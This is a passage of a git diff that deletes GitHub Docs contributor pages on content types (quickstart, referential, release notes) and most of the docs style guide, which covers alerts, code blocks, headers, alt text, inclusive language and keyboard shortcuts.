Use: "Applying for a student developer pack" -* Use active and specific verbs (brainstorm or use a thesaurus when needed). -* Titles specifically describe the task contained within the article or header, but are general enough to reflect all of the content. -* Article title length: maximum 80 characters, 60 if possible. - -## Examples of procedural content - -* [AUTOTITLE](/free-pro-team@latest/billing/managing-your-github-billing-settings/adding-information-to-your-receipts) -* [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) -* [AUTOTITLE](/actions/using-workflows/using-starter-workflows) diff --git a/content/contributing/style-guide-and-content-model/quickstart-content-type.md b/content/contributing/style-guide-and-content-model/quickstart-content-type.md deleted file mode 100644 index f6bf43ba7014..000000000000 --- a/content/contributing/style-guide-and-content-model/quickstart-content-type.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Quickstart content type -intro: Quickstarts are best for people who want instructions quickly without lengthy explanations of how something works or why they would want to use it. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Quickstarts enable people to quickly complete a discrete, focused task by illustrating a workflow with only essential steps, in about five minutes or 600 words. Quickstarts can be used for quickly getting set up with a new tool, or for quickly completing another task. For more complex tasks, use a tutorial. - -Quickstarts are useful when someone already understands the feature or product and is ready to try it out. - -We collectively refer to tutorials and quickstarts as "guides" across the site. On `/guides` landing pages, we include tutorials, quickstarts, and certain procedural articles in the list of guides for a doc set. - -## How to write a quickstart - -For the quickstart template, see [AUTOTITLE](/contributing/writing-for-github-docs/templates#quickstart-article-template). - -Contents of quickstarts: -* Introduction: - * Highlights that this guide is quick and to-the-point by using phrasing like: - * Quickly add [FEATURE] to your project - * The essentials for getting started with [PRODUCT] - * An abbreviated guide for people who are familiar with [FEATURE] - * Clarifies audience - * Clearly states prerequisites and prior knowledge needed - * States what someone will accomplish or build -* Procedural sections - * Based on the quickstart's audience, the steps can be less explicit and formal than those used in procedural content. You do not have to use existing reusables to form these steps if the audience doesn’t require that level of detail. - * Link out to other articles or resources rather than replicating them, to avoid interrupting the flow of information. - * Give visual cues. Use code blocks and screenshots heavily to help reassure people that they are performing the correct actions. -* Troubleshooting (optional) - * If relevant troubleshooting content exists for the quickstart, provide links to it. -* Next steps - * Provide a quick recap of what has been accomplished in the quickstart as a means of transitioning to next steps. - * Include 2-3 actionable next steps that someone can take after completing the quickstart. Always link to conceptual content on the feature or product. You can also link off to other related information on docs.github.com or in {% data variables.product.prodname_learning %}.<!-- markdownlint-disable-line search-replace --> - -## Title guidelines for quickstarts - -* When the guide helps someone get started with a new tool, preface the title with "Quickstart", e.g. "Quickstart for GitHub Actions" or "Quickstart: Procedural title." -* For other use cases, follow the title guidelines for procedures and omit the word "Quickstart." - -## Examples of quickstarts - -* [AUTOTITLE](/free-pro-team@latest/actions/quickstart) -* [AUTOTITLE](/free-pro-team@latest/discussions/quickstart) -* [Quickstart for GitHub Educators](/free-pro-team@latest/education/quickstart) diff --git a/content/contributing/style-guide-and-content-model/referential-content-type.md b/content/contributing/style-guide-and-content-model/referential-content-type.md deleted file mode 100644 index 33295a5af844..000000000000 --- a/content/contributing/style-guide-and-content-model/referential-content-type.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Referential content type -intro: Referential content provides detailed information that people need while they are actively using a feature. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -We create referential articles and referential sections within other articles. -* Some major subjects may require their own referential article, especially if there is a large amount of referential content, such as for search syntax or YAML syntax in {% data variables.product.prodname_actions %}. -* For smaller amounts of content or more specific information, like a list of a feature’s supported languages or hardware requirements, use referential sections in context within procedural or conceptual articles. - -## How to write referential content - -For the referential content template, see [AUTOTITLE](/contributing/writing-for-github-docs/templates#referential-article-template). - -* Write a sentence or an entire conceptual section to introduce the referential content. -* Present the actual referential content clearly and consistently. -* For subjects with a single element to explain, use a list. - * Example: [AUTOTITLE](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization#repository-roles-for-organizations) -* For subjects with multiple elements to explain, use a table. - * Example: [AUTOTITLE](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization#permissions-for-each-role) -* For longer referential content, such as YAML syntax for workflows, use headers consistently. - * H2 headers for each distinct section. - * H3 headers for subsections, such as examples. - * Example: [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions) - -## Titles for referential content - -* Referential articles or headers of referential sections clearly describe the contents of the section, and generally begin with nouns. -* Titles include enough information to be accessible to novice users and fully describe the contents of each section. -* Titles avoid stacked nouns - use prepositions to break up long strings of nouns. - -## Examples of referential content - -* Referential articles - * [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts) - * [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) - * [AUTOTITLE](/free-pro-team@latest/rest/reference/billing) in the REST API documentation - * [AUTOTITLE](/graphql/reference/mutations) in the GraphQL API documentation -* Referential sections within other articles - * "Supported languages" in [AUTOTITLE](/free-pro-team@latest/get-started/using-github/github-mobile#supported-languages-for-github-mobile) - * "Hardware considerations" in [AUTOTITLE](/enterprise-server@latest/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) diff --git a/content/contributing/style-guide-and-content-model/release-note-content-type.md b/content/contributing/style-guide-and-content-model/release-note-content-type.md deleted file mode 100644 index ed0465b4f404..000000000000 --- a/content/contributing/style-guide-and-content-model/release-note-content-type.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Release note content type -intro: 'Release notes enable readers to understand and prepare for the user-facing changes in each release of {% data variables.product.prodname_dotcom %}''s versioned enterprise products.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Good release notes provide administrators the necessary information to plan system upgrades in environments that require change control, and support end users who want to understand and prepare to use new {% data variables.product.prodname_dotcom %} features and functionality. - -Writers source, edit, and publish release notes in collaboration with product DRIs, feature owners, and individual engineers at {% data variables.product.prodname_dotcom %}. For each individual release, we group release notes by predefined types. - -We publish the release notes for [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/release-notes) on {% data variables.product.prodname_docs %}, in the "Enterprise administrators" documentation set. - -## Types of releases - -{% data variables.product.prodname_docs %} provides release notes for feature releases and patch releases of {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/enterprise-server@latest/admin/overview/about-upgrades-to-new-releases) in the {% data variables.product.prodname_ghe_server %} documentation. - -## Guidance and example release notes - -You can review guidance for the format, style, and tone of release notes, as well as examples of each type of note. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#release-notes). diff --git a/content/contributing/style-guide-and-content-model/style-guide.md b/content/contributing/style-guide-and-content-model/style-guide.md deleted file mode 100644 index b387cf163b99..000000000000 --- a/content/contributing/style-guide-and-content-model/style-guide.md +++ /dev/null @@ -1,1810 +0,0 @@ ---- -title: Style guide -intro: 'Follow this guide to make sure {% data variables.product.company_short %}''s documentation stays consistent and follows clear patterns that our readers can understand.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/writing-for-github-docs/style-guide ---- - -> [!NOTE] -> These guidelines are specific to {% data variables.product.company_short %}'s documentation. For general style questions or guidance on topics not covered here, see the [Microsoft Style Guide](https://docs.microsoft.com/style-guide/welcome/). For markup specific to source content on docs.github.com, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs). For any questions about the GitHub brand, see our [GitHub Brand Guide](https://brand.github.com).<!-- markdownlint-disable-line search-replace --> - -## The {% data variables.product.prodname_docs %} approach to style - -* Our style guide aims for simplicity. Guidelines should be easy to apply to a range of scenarios. -* Decisions aren’t about what’s right or wrong according to the rules of grammar or the style guide, but about what’s best for our users. We're flexible and open to change while maintaining consistency. -* To scale the style guide as our team and documentation sets grow, and to create high-quality, meaningful content that serves users, we focus our attention on high-impact, high-value scenarios rather than attempting to comprehensively cover every style question. -* Consistency and grammatical correctness are important, but not as important as clarity and meaning. -* When making a style or structure decision, we consider the flow of information within the unit of content and the context of the information. -* When a question specific to help documentation isn’t covered by the style guide, we think it through using these principles, then make a decision. If a reviewer asks about it, we're prepared to discuss the decision. - -## Audit log events - -We document each of the events that may appear in the audit logs for each type of account: user, organization, and enterprise. - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization) -* [AUTOTITLE]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) {% ifversion fpt %}in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} - -When writing the description for an audit log event, describe the event that took place in a way that applies to all versions, using past tense and passive voice. Do not begin the sentence with phrases that are already implied by the context of the article, such as "Triggered by." - -* **Use:** The visibility of a repository was changed. -* **Use:** Secret scanning was enabled for all new repositories. -* **Avoid:** An organization owner disabled a two-factor authentication requirement for the organization. -* **Avoid:** Triggered when a user updates which repositories a codespace can access. - -## Alerts - -Alerts emphasize information within an article that is of special importance and justifies breaking the flow of information. - -Use alerts sparingly. Do not use consecutive alerts, or more than one alert per section. - -Alerts should be concise. If the information consists of more than a couple of sentences, or requires an ordered or unordered list, consider placing the information under a section heading instead. - -### Alert types - -We use five types of alerts: Note, Tip, Important, Warning, and Caution. - -#### Note - -Provides additional context that users may need to take into account. Tasks can be accomplished without the information in note alerts, but some users in some contexts may benefit from the note. - -Notes are particularly useful for communicating parenthetical information that is not central to the process being described: -* Caveats that might affect the outcome of a process, such as specific user settings. -* Products and features that are subject to changes in availability, such as those in {% data variables.release-phases.public_preview %} or {% data variables.release-phases.closing_down %}. - -For example, [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#reviewing-github-token-metadata) uses a note to inform users that metadata for {% data variables.product.prodname_dotcom %} tokens is currently in {% data variables.release-phases.public_preview %}. - -> [!NOTE] -> Metadata for {% data variables.product.prodname_dotcom %} tokens is currently in {% data variables.release-phases.public_preview %} and subject to change. - -#### Tip - -Recommendations, best practices or product hints. Tips contain non-essential information that users can follow at their discretion. Particularly useful in articles aimed at new users. - -For example, [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile) uses a tip alert to help users understand what to expect when they @mention an organization. - -> [!TIP] -> When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you. - -#### Important - -Highlights key information users need to know to achieve their goal. - -> [!IMPORTANT] -> Runner Scale Sets do not support multiple labels, only the name of the runner can be used in place of a label. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - -#### Warning - -Highlights potential risks that a user should be aware of before starting or continuing with a task. - -Warning alerts are particularly relevant for processes that occur outside the {% data variables.product.prodname_dotcom %} UI, such as in the command line or through an API. - -For example, [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities) includes instructions for the command line, and uses a warning alert to inform users that once issued, certificates cannot be revoked: - -> [!WARNING] -> After a certificate has been signed and issued, the certificate cannot be revoked. Make sure to use the -V flag to configure a lifetime for the certificate, or the certificate can be used indefinitely. - -#### Caution - -Alerts users to dangerous or destructive actions that warrant extreme caution before performing, particularly where there is a security risk or potential for data loss. - -Caution alerts will generally only be necessary when describing processes that occur outside the {% data variables.product.prodname_dotcom %} UI, such as in the command line or through an API. - -### Formatting alerts - -We use standard formatting and colors for different types of alerts across doc sets. - -Alerts are rendered using Markdown. - -Note: - -```markdown -> [!NOTE] -> Keep this in mind. -``` - -Tip: - -```markdown -> [!TIP] -> Here's a suggestion. -``` - -Warning: - -```markdown -> [!WARNING] -> Be careful. -``` - -Caution: - -```markdown -> [!CAUTION] -> Be extremely careful. -``` - -Liquid syntax for alerts is still supported and may still appear in older articles, but should not be used for new alerts. - -For more information on formatting alerts, see “Alerts” in [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#alerts). - -## Buttons - -Landing pages and some articles have buttons that take people to relevant content in other articles or on other {% data variables.product.prodname_dotcom %} webpages. Buttons should be used when someone needs to navigate to another page to complete the task being described. For example, [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) has a button that takes people to the trial sign up page since that is the next step in the process of setting up a trial. The [AUTOTITLE](/migrations) landing page uses a button to direct people to the article that most people will need to read to start a migration. - -If a button encourages people to navigate away from the {% data variables.product.prodname_docs %} site, follow the call to action (CTA) button guidelines. If you want to include another type of button on a landing page or article, you must get approval from the {% data variables.product.prodname_docs %} team. - -## Call to action (CTA) buttons - -CTA buttons emphasize a link that we expect or encourage people to navigate to after reading an article or as part of completing the task that an article describes. CTAs should only take people to {% data variables.product.company_short %}-owned domains. For example, the "Try {% data variables.product.prodname_copilot %}" CTA in [AUTOTITLE](/free-pro-team@latest/copilot/using-github-copilot/getting-started-with-github-copilot) links to the [GitHub Copilot settings menu](https://github.com/settings/copilot) on {% data variables.product.prodname_dotcom_the_website %}. - -Only include a CTA button if navigating to the link supports user needs. Do not use CTA buttons solely for marketing GitHub features or products. In the above example, someone who wants to try {% data variables.product.prodname_copilot %} must navigate to the {% data variables.product.prodname_copilot_short %} settings menu and would likely want to after reading the article. In contrast, even though someone might use {% data variables.product.prodname_copilot_short %} as part of writing code that they then create a pull request for, we would not add a "Try {% data variables.product.prodname_copilot %}" CTA to [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) since {% data variables.product.prodname_copilot_short %} is not connected to the user needs of "Creating a pull request." Most people will create pull requests without using {% data variables.product.prodname_copilot_short %}. But people visiting articles about getting started with {% data variables.product.prodname_copilot_short %} are probably interested in trying {% data variables.product.prodname_copilot_short %} if they are not already using it. So we add the CTA button to help people get where they are trying to go. - -Style your CTAs using the following format. - -```html -{% raw %}<a href="https://github.com/DESTINATION/URL?ref_cta=CTA+NAME&ref_loc=LOCATION&ref_page=docs" target="_blank" class="btn btn-primary mt-3 mr-3 no-underline"><span>Try PRODUCT NAME</span> {% octicon "link-external" height:16 %}</a>{% endraw %} -``` - -Replace the placeholders with the relevant information for your CTA. -* `DESTINATION/URL`: The URL that the button should navigate to. -* `CTA+NAME`: The name of the CTA. For example, `GHEC+trial` or `Copilot+Business+Trial`. -* `LOCATION`: The location in {% data variables.product.prodname_docs %} of the CTA. For example, `Setting+up+a+trial+of+GitHub+Enterprise+Cloud`. - -## Code - -### Code blocks - -Keep lines in code samples to about 60 characters, to avoid requiring readers to scroll horizontally in the code block. Locate explanatory text before the code block, rather than using comments inside the code block. See [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#code-sample-syntax-highlighting) for more information on the syntax and formatting of code blocks. - -Within code blocks: -* Specify the language of the sample after the first code fence. For a list of all supported languages, see [Code languages](https://github.com/github/docs/blob/main/data/code-languages.yml) in the [`github/docs`](https://github.com/github/docs) repository. -* Do not use HTML to style or markup a code block. -* Style any placeholders that people need to replace with their own values in all caps. - * **Use:** `git checkout -b BRANCH-NAME` - * **Avoid:** `git checkout -b <branch-name>` -* Do not use command prompts like `$` before the command itself. These prompts make it challenging for readers to copy and paste the command. - * If you show a command and the command's output, comment out the output in the example. - * **Use:** - - ```shell - command - # output - ``` - - * **Avoid:** - - ```shell - $ command - output - ``` - -* If your code example includes `{` or `}` that should render, wrap that section in <code>{% raw %}</code> <code>{% endraw %}</code> to disable Liquid processing for that section. - * **Use:** - - <pre> - GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - </pre> - - * **Avoid:** - - <pre> - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - </pre> - -* If your code example includes content that should be parsed, wrap that section in `<pre>` `</pre>` tags to parse rather than escape the content in the section. - -### Commands - -Use inline code blocks to refer to short command names. -* **Use:** To check the status of a running cluster, use the `ghe-cluster-status` command. - -Use command blocks for longer or more complex commands. -* **Use:** Enable maintenance mode according to your scheduled window by connecting to the administrative shell of any cluster node and running: - - ```shell - ghe-cluster-maintenance -s - ``` - -Do not include command prompts such as `$`. Avoid inline links in command names. - -### Outputs - -If you show the output of a command, comment out the output in the example so that people can copy and paste the command and execute it without modification. - -* **Use:** - - ```shell - git lfs install - # Git LFS initialized. - ``` - -* **Avoid:** - - ```shell - $ git lfs install - > Git LFS initialized. - ``` - -### Examples - -When code examples refer to a larger file, show the relevant section of the file, so that users understand how to edit their own code in context. -* **Use:** - -<!-- markdownlint-disable yaml-scheduled-jobs --> -```yaml -on: - schedule: - - cron: "40 19 * * *" -``` - -* **Avoid:** - -```yaml -schedule: - - cron: "40 19 * * *" -``` -<!-- markdownlint-enable yaml-scheduled-jobs --> - -### File names and directory names - -Use backticks to format references to file names and directory names in a monospaced font. If a file type generally follows a specific capitalization convention, such as all caps for README files, use the established convention. - -* **Use:** In your `README.md` file, add info about your repository. -* **Use:** In your `.github/workflows/` directory, create the `example-workflow.yml` file. -* **Avoid:** In your _.github/workflows/_ directory, create the `example-workflow.yml` file. -* **Avoid:** Delete the **example.js** file. - -### Indentation - -In YAML examples, such as actions and workflow files, use two spaces to indent lines within nested lists and block sequences. - -* **Use:** - -```yaml - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: {% raw %}${{ matrix.python }}{% endraw %} -``` - -To indent reusables, see [`data/reusables/README.md`](https://github.com/github/docs/tree/main/data/reusables#readme). - -### Scheduled workflows - -Workflow runs are delayed when too many workflows run at once. Since many users copy code from {% data variables.product.prodname_docs %}, we should use examples that guide users away from congested times. - -* Do not use examples that run on the hour as these are the most congested times. -* Do not use examples that run more frequently than necessary. For example, instead of running every five minutes, consider if the example makes sense to run every 30 minutes instead. -* Use a different time for each example. - -## Emphasis - -Use bold to emphasize words or parts of a sentence. Use emphasis sparingly (no more than five contiguous words), and remember that it is a visual aid for scannability for sighted users. - -* Do not bold words that have other formatting applied, such as all caps for placeholder text. -* For accessibility, do not use bolding as the only way to convey meaning or emphasis. - -For example: - -* **Use:** Managed user accounts **cannot create public content** or collaborate outside your enterprise. -* **Avoid:** Next to _**Title**_, add a descriptive label for your new key. - -## Error messages - -When you include the text of an error message from a {% data variables.product.company_short %} product or interface in an article, format the text according to the interface where the message appears. - -* If the message appears in {% data variables.product.prodname_dotcom %}'s web interface, or in a graphical client app like {% data variables.product.prodname_desktop %} or {% data variables.product.prodname_mobile %}, treat the message like other text in the UI. For more information, see [User interface text](#user-interface-text). - -* If the message appears in a command-line interface, log output, or a response from an API, reproduce the text exactly and use backticks to format the message using a monospaced font. - -## Expiring content - -In general, do not document content that will expire. Anyone who visits {% data variables.product.prodname_docs %} should be confident that the information is accurate and up to date. - -If you must document content that you know will expire, you can use the content linter to tag and track the content's expiration date. This will flag the content as outdated and avoids tracking expiration dates outside of the content itself. See [AUTOTITLE](/contributing/collaborating-on-github-docs/using-the-content-linter#syntax-for-expiring-and-expired-content) for information on how to format expiring content tags. - -## Footnotes - -Avoid using footnotes where possible. Consider instead whether you could use a [alert](#alerts) or present the information in another way. See some [examples of alternatives to footnotes from NICE.org.uk](https://www.nice.org.uk/corporate/ecd6/chapter/footnotes). - -If you must use footnotes, use [Markdown-native footnotes](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes) (`[^1]`). Footnote markers will be hyperlinked to the footnote reference, which will be listed at the bottom of the page with a backlink to the marker. - -Note that regardless of the identifier you use (letters, words), footnotes will render as sequential numbers. - - {% rowheaders %} - -| | Mona | Ursula | Paul | Davy Jones[^1] | -|---|---|---|---|---| -|Favorite pastime| Shipping code | Tricking mermaids[^2] | Predicting sports | Haunting seafarers | -|Uses powers for good| Yes | No | Yes | No | - -[^1]: Not to be confused with Davy Jones of The Monkees -[^2]: Also humans - -{% endrowheaders %} - -````markdown -| | Mona | Ursula | Paul | Davy Jones[^1] | -|---|---|---|---|---| -|Favorite pastime| Shipping code | Tricking mermaids[^2] | Predicting sports | Haunting seafarers | -|Uses powers for good| Yes | No | Yes | No | -[^1]: Not to be confused with Davy Jones of The Monkees -[^2]: Also humans -```` - -## Headers - -Headers must adequately describe the content under them. Headers can either follow the [guidelines for writing titles](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article#titles) or can be written as questions. Use sentence casing for headers. - -If an article has headers, the headers must start with an H2 level header. You can use H3 and H4 level headers to further organize content into related groups, but you cannot skip header levels. There must be text content between a header and subheader, such as an introduction. -* **Use:** - - ```markdown - ## HEADER (H2) - - TEXT - - ### SUBHEADER (H3) - - TEXT - - #### SUBHEADER (H4) - - TEXT - ``` - -* **Avoid:** - - ```markdown - ## HEADER (H2) - - #### SUBHEADER (H4) - ``` - -Each header at the same level on a page must be unique. - -* **Use:** - - ```markdown - ## Examples (H2) - - TEXT - - ### Prompts for writing code (H3) - - TEXT - - ### Prompts for writing tests (H3) - - TEXT - ``` - -* **Use:** - - ```markdown - ## Prompts for writing code (H2) - - TEXT - - ### Example (H3) - - TEXT - - ## Prompts for writing tests (H2) - - TEXT - - ### Example (H3) - - TEXT - ``` - -* **Avoid:** - - ```markdown - ## Example prompts (H2) - - TEXT - - ### Example (H3) - - TEXT - - ### Example (H3) - - TEXT - ``` - -## Images - -We use static images including screenshots, diagrams, and graphs throughout the docs to complement textual information. - -Do not use animated GIFs in the docs. - -### Alt text - -Every image must include alt text providing a textual equivalent of the visual information. - -* Express the core idea or meaning of the image, rather than describing it literally. -* Use 40–150 characters. -* End with a punctuation mark. This should generally be a period unless the alt text is describing an image of text that ends with other punctuation, such as a question mark or exclamation point. -* Don't start with "Image…" or "Graphic…". Screen readers say this automatically. -* Do begin with the _type_ of graphic: "Screenshot of…" or "Diagram that shows…" -* Follow standard language used to describe UI elements in article text. -* Put multi-word titles, such as names of menu items, in double quotation marks (""). -* If an area of the image is visually highlighted, describe how. This enables screen-reader users to understand and describe to a sighted friend/colleague what to look for from a visual language standpoint. - -#### Alt text for screenshots - -Alt text provides a short description of a screenshot's content to benefit people who cannot see it. - -* Alt text only needs to include the most relevant elements of an image, not every detail. -* Alt text is not intended to provide instructions for using the GitHub interface. These should be included in accompanying article text. - -##### Format - -> Screenshot of the `Product name` + `UI element` shown. The `UI element` + `state of the element/controls`, and its `keyboard shortcut XYZ`, are outlined in dark orange. - -* For `Product name`, use the {% data variables.product.company_short %} product or feature name, such as "{% data variables.product.prodname_actions %}" or "{% data variables.product.company_short %} repository," rather than just "{% data variables.product.company_short %}." -* Use a variable for the word `{% data variables.product.company_short %}` as we do in running copy: `{% raw %}{% data variables.product.prodname_dotcom %}{% endraw %}` -* Describe UI elements consistently with written documentation. -* Be flexible with word order when needed for clarity. - * For example, write "Screenshot of the Debug menu in {% data variables.product.prodname_vscode %}…" rather than "Screenshot of the {% data variables.product.prodname_vscode %} Debug menu…," to avoid multiple nouns in a row. - -##### Examples - -> Screenshot of the {% data variables.product.prodname_dotcom %} committers by repository table. The horizontal kebab icon and "Download CSV report" button are outlined in dark orange. - -> Screenshot of file options in a {% data variables.product.prodname_dotcom %} repository. A button with an arrow indicating a dropdown menu, labeled "Code," is outlined in dark orange. - -![Screenshot of file options in a GitHub repository. A button with an arrow indicating a dropdown menu, labeled "Code," is outlined in dark orange.](/assets/images/contributing/repository-code-button.png) - -#### Alt text for diagrams and graphs - -Explain the information conveyed in the diagram or graph in text on the page. - -Use alt text to express the core idea of the image, without duplicating the webpage text. - -##### Example - -> Diagram showing a five-step process by which a {% data variables.product.prodname_actions %} runner can be automatically added to named classes of runners and then requested by specific jobs. - -For example, see [accompanying explanation of this diagram in the Actions documentation](/free-pro-team@latest/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners#architectural-overview-of-larger-runners). - -#### Alt text for images of command-line interfaces - -Do not use screenshots of command-line interfaces to convey commands and their output. Instead, directly provide the commands a user should use. For more information, see the [Commands](#commands) section of the style guide. - -When using a screenshot of a command-line interface to show user interface elements, follow standard alt text guidelines for screenshots. - -### File names for images - -Be descriptive when naming image files: include the name, action, and UI element in the file name. Mirror product language. Use kebab case. Do not use Liquid conditionals in file names. If replacing an image, use the exact file name. -* **Use:** `data-pack-purchase-button.png` -* **Avoid:** `purchase_button.png` -* **Avoid:** `purchase-button{% ifversion ghes %}-for-admins{% endif %}.png` - -### Screenshots - -To learn about creating and versioning images, see [Creating and updating screenshots](/contributing/writing-for-github-docs/creating-screenshots). - -### Diagrams - -To learn about creating diagrams, see [AUTOTITLE](/contributing/writing-for-github-docs/creating-diagrams-for-github-docs). - -## Inclusive language - -As home to the largest developer community in the world, {% data variables.product.company_short %} is committed to promoting diversity and inclusion in every aspect of what we do. All of our documentation is inclusive and respectful of our audience, which consists of people in widely varying circumstances from all over the planet. When we write our documentation, we use words that are inclusive, anti-racist, and accessible. - -Individual words might be small, but together they can create community, belonging, and equity. Be empathetic in all word and style choices. Be accurate when referring to people and communities. - -| Use | Avoid | -| --- | --- | -| Allowlist | Whitelist | -| Denylist | Blacklist | -| Default/Main branch | Master branch | - -### Resources about inclusive language - -The Microsoft Style Guide offers resources on bias-free communication, accessibility terms, and writing for all abilities: -* [Bias-free communication](https://docs.microsoft.com/style-guide/bias-free-communication) -* [Writing for all abilities](https://docs.microsoft.com/style-guide/accessibility/writing-all-abilities) -* [Accessibility terms](https://docs.microsoft.com/style-guide/a-z-word-list-term-collections/term-collections/accessibility-terms) - -More resources for learning about inclusive and accessible language and style: -* [18F Content Guide on Inclusive Language](https://content-guide.18f.gov/our-style/inclusive-language/) -* MailChimp Content Style Guide: - * [Writing About People](https://styleguide.mailchimp.com/writing-about-people/) - * [Writing for Accessibility](https://styleguide.mailchimp.com/writing-for-accessibility/) -* [Readability Guidelines](https://readabilityguidelines.co.uk/) -* [Conscious Style Guide](https://consciousstyleguide.com/) - -## Keyboard shortcuts - -For presenting keyboard shortcuts, follow the [Microsoft Style Guide](https://docs.microsoft.com/en-us/style-guide/a-z-word-list-term-collections/term-collections/keys-keyboard-shortcuts), **except for the following differences**: - -* Use the HTML `<kbd>` tag for each individual key. - - * **Use:** `<kbd>Command</kbd>+<kbd>B</kbd>` - * **Avoid:** `Command+B` -* Use full words instead of symbols for Apple modifier keys. - - * **Use:** `Command` - * **Avoid:** `⌘` -* Use symbols for keys of special character, not full words. - - * **Use:** `.`, `,`, and `→`. - * **Avoid:** `Period`, `Comma`, and `Right arrow`. - -### Usage highlights - -Below are some usage highlights for how we present keyboard shortcuts in our documentation: - -* The basic syntax is to show keys with `+` between key combinations, without any spaces. - - * **Use:** `<kbd>Command</kbd>+<kbd>B</kbd>`, which is rendered as <kbd>Command</kbd>+<kbd>B</kbd>. - * **Avoid:** `<kbd>Command</kbd> + <kbd>B</kbd>` or `<kbd>Command + B</kbd>` which are rendered as <kbd>Command</kbd> + <kbd>B</kbd> or <kbd>Command + B</kbd>. -* Always capitalize letter keys for general references and keyboard shortcuts. - - * **Use:** <kbd>Command</kbd>+<kbd>B</kbd> - * **Avoid:** <kbd>Command</kbd>+<kbd>b</kbd>. -* Use the correct modifier keys for the each operating system. - - **Note:** Windows and Linux have <kbd>Ctrl</kbd> abbreviated, whereas on Mac it is spelled in full: <kbd>Control</kbd>. - - * For Windows and Linux: - - * **Use:** <kbd>Ctrl</kbd>, <kbd>Alt</kbd>. - * **Avoid:** <kbd>Control</kbd> - * For Mac: - - * **Use:** <kbd>Command</kbd>, <kbd>Option</kbd>, <kbd>Control</kbd>. - * **Avoid:** <kbd>Cmd</kbd>, <kbd>⌘</kbd>, <kbd>Opt</kbd>, <kbd>⌥</kbd>, <kbd>Ctrl</kbd>, <kbd>⌃</kbd> -* Don't confuse key combinations with keys in a sequence. - - * <kbd>Command</kbd>+<kbd>B</kbd> indicates that the user should hold down the <kbd>Command</kbd> key and press the <kbd>B</kbd> key. - * <kbd>G</kbd> <kbd>I</kbd> indicates that the user should press the <kbd>G</kbd> key, then press the <kbd>I</kbd> key. -* When describing a keyboard shortcut for multiple operating systems, append the operating system in brackets after the shortcut. Describe the Mac shortcut first, then Windows/Linux. - - * **Use:** `<kbd>Command</kbd>+<kbd>B</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux)`, presented as: - - <kbd>Command</kbd>+<kbd>B</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows / Linux) - * **Avoid:** `<kbd>Ctrl</kbd>+<kbd>B</kbd> or <kbd>Command</kbd>+<kbd>B</kbd>`, presented as: - - <kbd>Ctrl</kbd>+<kbd>B</kbd> or <kbd>Command</kbd>+<kbd>B</kbd> - -## Licensed content - -{% data variables.product.prodname_docs %} is licensed under a [CC-BY license](https://github.com/github/docs/blob/main/LICENSE). If you reuse or modify licensed content in an article, you must make sure that the license is compatible and properly attributed. - -Do not create reusables for license attributions. We must use the exact license a project is licensed under, so any attributions must be accurately written for the articles that they appear in. - -If you are unsure of the legality of reusing any content, contact legal. If you are adding content with a license that is not listed below, you must receive a legal review before you can publish the content. - -### Attributing MIT-licensed content - -If we reuse or modify content under an MIT license, we must attribute the MIT license where the content appears. - -At the end of the article containing MIT-licensed content -* Create a header titled `Legal notice` -* Attribute where the content comes from and that it is licensed under the MIT license. Include a link to the project -* Paste the full text of the MIT license from the project that you are attributing in a codeblock - -#### Example MIT license attribution - -This text is only an example. Always use the license text from the project you are attributing. - -`````markdown -## Legal notice - -Portions have been adapted from [PROJECT](/LINK/TO/PROJECT) under the MIT license: - -``` -MIT License - -Copyright YEAR 